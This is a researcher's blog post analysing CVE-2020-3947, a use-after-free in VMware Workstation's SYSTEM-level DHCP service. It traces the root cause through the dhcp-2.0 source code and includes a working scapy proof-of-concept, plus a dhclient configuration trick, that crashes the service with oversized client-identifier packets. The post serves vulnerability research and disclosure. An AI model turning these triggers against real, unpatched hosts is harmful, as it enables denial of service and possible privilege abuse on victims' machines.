CVE-2020-3947 A VMware Workstation DHCP UAF Bug Analysis

Foreword

Last spring, when I started doing some virtualization security research, CVE-2020-3947 is the first case I analyzed.

It is an UAF bug in the DHCP service of VMware Workstation, which was submitted to the ZDI program.

Since ZDI already wrote a blog post on this, I will leave out some of the backgroud information and suggest that you read ZDI’s post first.

The main purpose of this post is to show how the PoC was written based on the limited information available because ZDI’s post does not pinpoint the root cause and provides no PoC either.

Update

Unfortunately, ZDI published a new post on July 27, 2022, just before this post was published, reanalyzing the DHCP UAF bug among several other bugs, and provided a more elegant PoC as well, which makes this post less interesting.

Regardless, I decide to publish it anyway.

Environment

  • Vulnerable Version: VMware Workstation 15.5.1-15018445
  • Fixed Version: VMware Workstation 15.5.1-15018445
  • Host OS: Windows 10 Pro
  • Guest OS: Ubuntu 20.10 64 bit Desktop

vmnetdhcp

The bug exists in C:\Windows\SysWOW64\vmnetdhcp.exe, which runs as user SYSTEM on a Windows host and provide DHCP service to the guest os in the default NAT network mode.

network_configuration

Based on my analysis and verified by Comsecuris, it is based on the dhcp-2.0 code from Internet Systems Consortium.

dhcp-2.0b1pl6.tar.gz is likely to be the exact version, though with patches from VMware for many bugs later discoverd in this ancient code base.

Bug Analysis

The root cause analysis below is inspired by the new blog post from ZDI.

This UAF bug happens because a heap pointer inside a structure is duplicated when the structure gets duplicated.

Later, the duplicated pointer is assigned to the original structure again, leaving a dangling pointer, which is used in subsequent oprations, thus the UAF(Used After Free).

When a DHCPRELEASE packet is received by the DHCP server, the following calls happen.

dhcprelease()->release_lease()->supersede_lease()->write_lease()

In ./common/memory.c,

void release_lease (lease)
	struct lease *lease;
{
	struct lease lt;

	lt = *lease;
	lt.ends = cur_time;
	supersede_lease (lease, &lt, 1);
}

Here lease parameter points to a lease structure to be replaced.

struct lease {
	struct lease *next;
	struct lease *prev;
	struct lease *n_uid, *n_hw;
	struct lease *waitq_next;

	struct iaddr ip_addr;
	TIME starts, ends, timestamp;
	unsigned char *uid;
	int uid_len;
	int uid_max;
	unsigned char uid_buf [32];
	char *hostname;
	char *client_hostname;
	struct host_decl *host;
	struct subnet *subnet;
	struct shared_network *shared_network;
	struct hardware hardware_addr;

	int flags;
	struct lease_state *state;
};

To release a lease, the ends time in it has to be updated.

In lt = *lease;, the lease to be replaced, aka the lease parameter is duplicated, and lt.uid = lease->.uid, both points to the same heap location malloced in ack_lease() shown below are also duplicated.

void ack_lease (packet, lease, offer, when)
	struct packet *packet;
	struct lease *lease;
	unsigned int offer;
	TIME when;
{
	/* Record the uid, if given... */
	i = DHO_DHCP_CLIENT_IDENTIFIER;
	if (packet -> options [i].len) {
		if (packet -> options [i].len <= sizeof lt.uid_buf) {
			memcpy (lt.uid_buf, packet -> options [i].data,
				packet -> options [i].len);
			lt.uid = lt.uid_buf;
			lt.uid_max = sizeof lt.uid_buf;
			lt.uid_len = packet -> options [i].len;
		} else {
			lt.uid_max = lt.uid_len = packet -> options [i].len;
			lt.uid = (unsigned char *)malloc (lt.uid_max);
			if (!lt.uid)
				error ("can't allocate memory for large uid.");
			memcpy (lt.uid,
				packet -> options [i].data, lt.uid_len);
		}
	}

	/* Don't call supersede_lease on a mocked-up lease. */
	if (lease -> flags & STATIC_LEASE) {

	} else {

		if (!(supersede_lease (lease, &lt, !offer || offer == DHCPACK)
		      || (offer && offer != DHCPACK)))
			return;
	}    

ack_lease() is called when a DHCPDISCOVER or DHCPREQUEST packet is received.

dhcpdiscover()->ack_lease()->supersede_lease()->write_lease().

Here, the lease with the malloced uid is stored in C:\ProgramData\VMware\vmnetdhcp.leases.

lease

Now, let’s go back to the release_lease(), supersede_lease (lease, &lt, 1); is called to replace lease.

int supersede_lease (comp, lease, commit)
	struct lease *comp, *lease;
	int commit;
{
	int enter_uid = 0;
	int enter_hwaddr = 0;
	struct lease *lp;

	/* Static leases are not currently kept in the database... */
	if (lease -> flags & STATIC_LEASE)
		return 1;

	if (!(lease -> flags & ABANDONED_LEASE) &&
	    comp -> ends > cur_time &&
	    (((comp -> uid && lease -> uid) &&
	      (comp -> uid_len != lease -> uid_len ||
	       memcmp (comp -> uid, lease -> uid, comp -> uid_len))) ||
	     (!comp -> uid &&
	      ((comp -> hardware_addr.htype !=
		lease -> hardware_addr.htype) ||
	       (comp -> hardware_addr.hlen !=
		lease -> hardware_addr.hlen) ||
	       memcmp (comp -> hardware_addr.haddr,
		       lease -> hardware_addr.haddr,
		       comp -> hardware_addr.hlen))))) {
		warn ("Lease conflict at %s",
		      piaddr (comp -> ip_addr));
		return 0;
	} else {
		/* If there's a Unique ID, dissociate it from the hash
		   table and free it if necessary. */
		if (comp -> uid) {
			uid_hash_delete (comp);
			enter_uid = 1;
			if (comp -> uid != &comp -> uid_buf [0]) {
				free (comp -> uid);
				comp -> uid_max = 0;
				comp -> uid_len = 0;
			}
			comp -> uid = (unsigned char *)0;
		} else
			enter_uid = 1;

		/* Copy the data files, but not the linkages. */
		comp -> starts = lease -> starts;
		comp -> timestamp = lease -> timestamp;
		if (lease -> uid) {
			if (lease -> uid_len < sizeof (lease -> uid_buf)) {
				memcpy (comp -> uid_buf,
					lease -> uid, lease -> uid_len);
				comp -> uid = &comp -> uid_buf [0];
				comp -> uid_max = sizeof comp -> uid_buf;
			} else if (lease -> uid != &lease -> uid_buf [0]) {
				comp -> uid = lease -> uid;
				comp -> uid_max = lease -> uid_max;
				lease -> uid = (unsigned char *)0;
				lease -> uid_max = 0;
			} else {
				error ("corrupt lease uid."); /* XXX */
			}
		} else {
			comp -> uid = (unsigned char *)0;
			comp -> uid_max = 0;
		}
		comp -> uid_len = lease -> uid_len;

	/* Return zero if we didn't commit the lease to permanent storage;
	   nonzero if we did. */
	return commit && write_lease (comp) && commit_leases ();
}

Here, after some check

	if (!(lease -> flags & ABANDONED_LEASE) &&
	    comp -> ends > cur_time &&
	    (((comp -> uid && lease -> uid) &&
	      (comp -> uid_len != lease -> uid_len ||
		if (comp -> uid) {
			uid_hash_delete (comp);
			enter_uid = 1;
			if (comp -> uid != &comp -> uid_buf [0]) {
				free (comp -> uid);
				comp -> uid_max = 0;
				comp -> uid_len = 0;
			}

is called to free comp -> uid if it is deemed to be malloced.

Next,

		if (lease -> uid) {
			if (lease -> uid_len < sizeof (lease -> uid_buf)) {
				memcpy (comp -> uid_buf,
					lease -> uid, lease -> uid_len);
				comp -> uid = &comp -> uid_buf [0];
				comp -> uid_max = sizeof comp -> uid_buf;
			} else if (lease -> uid != &lease -> uid_buf [0]) {
				comp -> uid = lease -> uid;
				comp -> uid_max = lease -> uid_max;
				lease -> uid = (unsigned char *)0;
				lease -> uid_max = 0;
			} 

If the new lease also has a valid uid, and which is the case if supersede_lease() is called from release_lease() as mentioned before,

comp -> uid = lease -> uid; the uid in the new lease is assigned to the old lease, both actually to the same heap location at this moment and have already been freed in free (comp -> uid);.

Later, comp -> uid_len = lease -> uid_len; and write_lease() is called.

int write_lease (lease)
	struct lease *lease;
{
	if (lease -> uid_len) {
		int i;
		errno = 0;
		fprintf (db_file, "\n\tuid %2.2x", lease -> uid [0]);
		if (errno) {
			++errors;
		}
		for (i = 1; i < lease -> uid_len; i++) {
			errno = 0;
			fprintf (db_file, ":%2.2x", lease -> uid [i]);
			if (errno) {
				++errors;
			}
		}
		putc (';', db_file);
	}    

Here, lease -> uid_len is valid and lease -> uid is used after it has already been freed.

PoC Construction

When the majority of this post was written on July 27, 2022, ZDI’s new post has not been published, and I was still unaware of the root cause and a better PoC.

The PoC below was finished on April 21, 2021.

#!/usr/bin/env python3

from scapy.all import *

#SRC_MAC = bytes('\x00\x01\x02\x03\x04\x06'.encode())
SRC_MAC = bytes([0,1,2,3,4,5])
REQUESTED_ADDR = '192.168.2.129'
SVR_ADDR = '192.168.2.254'
DST_ADDR = '255.255.255.255'
CLIENT_ID = '\x00'+'A'*32

def send_dhcp_discover(txid):
    dhcp_discover = Ether(src=SRC_MAC, dst='ff:ff:ff:ff:ff:ff') /\
                    IP(src='0.0.0.0', dst='255.255.255.255') /\
                    UDP(sport=68, dport=67) /\
                    BOOTP(ciaddr=REQUESTED_ADDR, chaddr=SRC_MAC, xid=txid) /\
                    DHCP(options=[('message-type', 'discover'), ('requested_addr', REQUESTED_ADDR), ('client_id', CLIENT_ID), 'end'])
    return dhcp_discover

def send_dhcp_release(txid):
    dhcp_release = Ether(src=SRC_MAC, dst='ff:ff:ff:ff:ff:ff') /\
                    IP(src=REQUESTED_ADDR, dst=SVR_ADDR) /\
                    UDP(sport=68, dport=67) /\
                    BOOTP(ciaddr=REQUESTED_ADDR, chaddr=SRC_MAC, xid=txid) /\
                    DHCP(options=[('message-type', 'release'), ('requested_addr', REQUESTED_ADDR), ('server_id', SVR_ADDR), ('client_id', CLIENT_ID), 'end'])
    return dhcp_release

txid = 456789
dhcp_discover = send_dhcp_discover(txid)
dhcp_release = send_dhcp_release(txid)

while True:
    sendp(dhcp_discover)
    sendp(dhcp_release)

In the original ZDI post,

In the vulnerable condition, meaning when a DHCPDISCOVER message followed by a DHCPRELEASE message is repeatedly received by the server, the respective uid fields of the source and destination lease structures actually point to the same memory location.

Led by this false assumption, I constructed my PoC by repeatedly sending the DHCPDISCOVER and DHCPRELEASE packet.

while True:
    sendp(dhcp_discover)
    sendp(dhcp_release)

Turns out, this is not necessary, and I confirmed this recently by only sending one DHCPDISCOVER or DHCPREQUEST followed by one DHCPRELEASE, and the UAF bug was triggered just fine.

crash

While writing my PoC back in 2021, I came across several obstacles, like the use of uid and the check of its length.

Since the original ZDI post mentioned nothing of these, I thought it might be helpful to someone by sharing my experiences here.

Obstacle 1

DHO_DHCP_CLIENT_IDENTIFIER is required.

Usually, client id is not sent in a normal DHCPDISCOVER or DHCPREQUEST, so it must be added to the packet specifically.

	/* Record the uid, if given... */
	i = DHO_DHCP_CLIENT_IDENTIFIER;
	if (packet -> options [i].len) {

Obstacle 2

uid length needs to be larger than 32.

If the length of the client id, aka uid, is smaller than 32 bytes, it will be stored in the uid_buf byte array inside the lease structure.

So we need to make sure its length is larger 32 bytes, to get it stored in a heap buffer malloced in the following code.

		if (packet -> options [i].len <= sizeof lt.uid_buf) {
			memcpy (lt.uid_buf, packet -> options [i].data,
				packet -> options [i].len);
			lt.uid = lt.uid_buf;
			lt.uid_max = sizeof lt.uid_buf;
			lt.uid_len = packet -> options [i].len;
		} else {
			lt.uid_max = lt.uid_len = packet -> options [i].len;
			lt.uid = (unsigned char *)malloc (lt.uid_max);

As is stated in the new post of ZDI, to trigger this bug, just add send dhcp-client-identifier "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; to /etc/dhcp/dhclient.conf, and

# release the current ip
sudo dhclient -i -r eth0
# send a DHCPREQUEST
sudo dhclient -i eth0
# send a DHCPRELEASE
sudo dhclient -i -r eth0

Obviously, this is a more elegant PoC, and satisfies both the uid existence and length requirements.

Afterword

Just before this blog post was finished, ZDI published an excellent post discussing the patch gap between the open source projects and some closed source software based on them.

The upstream fix for this DHCP UAF bug was introduced way back on May 17, 2000, while the patch from VMware was released along with Workstation 15.5.2 on April 2, 2020, nearly 20 years later.

It is also worth mentioning that VMware fixed this bug by simply checking if comp -> uid == lease -> uid in supersede_lease(), not touching the root cause that a heap pointer gets duplicated.

Reference